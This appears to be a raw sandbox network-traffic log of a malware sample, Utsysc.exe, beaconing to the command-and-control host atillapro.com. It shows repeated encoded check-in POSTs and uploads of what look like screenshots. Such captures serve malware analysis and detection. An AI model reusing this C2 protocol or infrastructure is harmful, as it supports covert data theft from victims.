Apr 9, 2024 14:54:50.732083082 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:50.913573027 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49818	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:51.207549095 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:51.385200977 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:51.385896921 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:51.575669050 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49819	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:51.864387035 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:52.042596102 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:52.043340921 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:52.236321926 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49820	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:52.575175047 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:52.752736092 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:52.803483963 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:53.024471998 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49821	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:52.706232071 CEST	173	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----MTAxMjUy Host: atillapro.com Content-Length: 101404 Cache-Control: no-cache
Apr 9, 2024 14:54:52.706232071 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 54 41 78 4d 6a 55 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------MTAxMjUyContent-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:52.706273079 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:52.706327915 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:52.706327915 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:52.706351995 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:52.706393003 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:52.706393003 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:52.706420898 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:52.706443071 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:52.706465006 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:54.130106926 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49822	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:53.320041895 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:53.499259949 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:53.501027107 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:53.690591097 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49823	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:53.980463028 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:54.161756039 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:54.162446976 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:54.354759932 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Apr 9, 2024 14:54:54.427679062 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5Nzg= Host: atillapro.com Content-Length: 98130 Cache-Control: no-cache
Apr 9, 2024 14:54:54.427679062 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5Nzg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:54.427679062 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:54.427742958 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:54.427742958 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:54.427742958 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:54.427742958 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:54.427742958 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:54.427742958 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:54.427771091 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:54.427772045 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:56.213831902 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49824	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:54.651667118 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:54.828944921 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:54.832052946 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:55.014211893 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49825	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:55.309937954 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:55.487468958 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:55.488138914 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:55.685441971 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49826	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:55.973378897 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:56.151798010 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:56.152399063 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:56.346452951 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49827	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:56.645908117 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:56.823997021 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:56.824621916 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:57.006261110 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49828	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:56.694822073 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5Nzg= Host: atillapro.com Content-Length: 98130 Cache-Control: no-cache
Apr 9, 2024 14:54:56.694885969 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5Nzg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:56.694928885 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:56.694940090 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:56.694962025 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:56.694977045 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:56.694996119 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:56.695005894 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:56.695024967 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:56.695039034 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:56.695053101 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:58.479017973 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49829	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:57.298882008 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:57.476535082 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:57.478574038 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:57.668016911 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49830	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:57.960612059 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
